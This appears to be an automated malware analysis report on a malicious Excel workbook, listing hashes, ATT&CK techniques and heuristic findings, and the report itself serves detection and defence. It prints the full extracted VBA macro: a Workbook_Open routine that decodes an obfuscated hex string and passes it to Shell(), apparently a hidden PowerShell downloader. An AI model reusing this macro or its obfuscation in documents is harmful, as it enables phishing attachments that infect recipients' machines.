Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b498465b42c81550…

MALICIOUS

Office (OOXML)

139.4 KB Created: 2020-07-16 09:06:51 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-24
MD5: 49a24e9873f40ce4424c9f324660874f SHA-1: c833cc3c580e565ab3e831fba24351c5e5d59293 SHA-256: b498465b42c81550c8e6e6afe13029fe4a552d54b2134425d6b521a4190eb9ab
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The OOXML file contains a Workbook_Open macro that utilizes the Shell() function. This macro is designed to execute a command, indicated by the presence of a long, encoded string that is likely a payload or a URL to a payload. The script reconstructs a string that is passed to the Shell function, which is then executed. This behavior is characteristic of a downloader or initial execution stage for further malicious activity.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1741 bytes
SHA-256: 633df67fb1e14e64783aa0f5b9a4ed2846957d04ffc88b30940ec00ee5d776aa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Shell GGtQkxCEVRCnGhCPlStBFCGAsWWCaPkKucGFqioTvMUdFeshLFHSpcf("12322342132", "8F99904C5B8F4C9C9BA3919E9F949198985A91A4914C5991A4918FA1A0959B9A9C9B98958FA54C8EA59C8D9F9F4C59834C74959090919A4C598F9B99998D9A904C549A91A3599B8E96918FA04C7FA59FA091995A7A91A05A83918E6F9895919AA0555A709BA39A989B8D9072959891545394A0A09C665B5B949F909BA39F93939C988D5A8F9B995B8094A19E71A2919AA05A91A491535850919AA2668091999C575388659BA19D845A91A491535567547A91A3597B8E96918FA04C598F9B994C7F949198985A6D9C9C98958F8DA0959B9A555A7F9491989871A4918FA1A0915450919AA2668091999C575388659BA19D845A91A4915355")
End Sub
  Function GGtQkxCEVRCnGhCPlStBFCGAsWWCaPkKucGFqioTvMUdFeshLFHSpcf(CodeKey As String, str As String)
        Dim YUNsObzzbhrNebStXdvbtDxuNzKLqHSqRSCFypvsviswjRiGtLEJuBl As Integer
        Dim i As Integer
        Dim sStr
        YUNsObzzbhrNebStXdvbtDxuNzKLqHSqRSCFypvsviswjRiGtLEJuBl = 51
        sStr = ""
        For i = 1 To Len(str) Step 2
            sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)) - 44)
        Next
        GGtQkxCEVRCnGhCPlStBFCGAsWWCaPkKucGFqioTvMUdFeshLFHSpcf = sStr
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14848 bytes
SHA-256: ce2074bb382945758fa789c266d7578140eacbeef3af3eedc5fe000cd740672f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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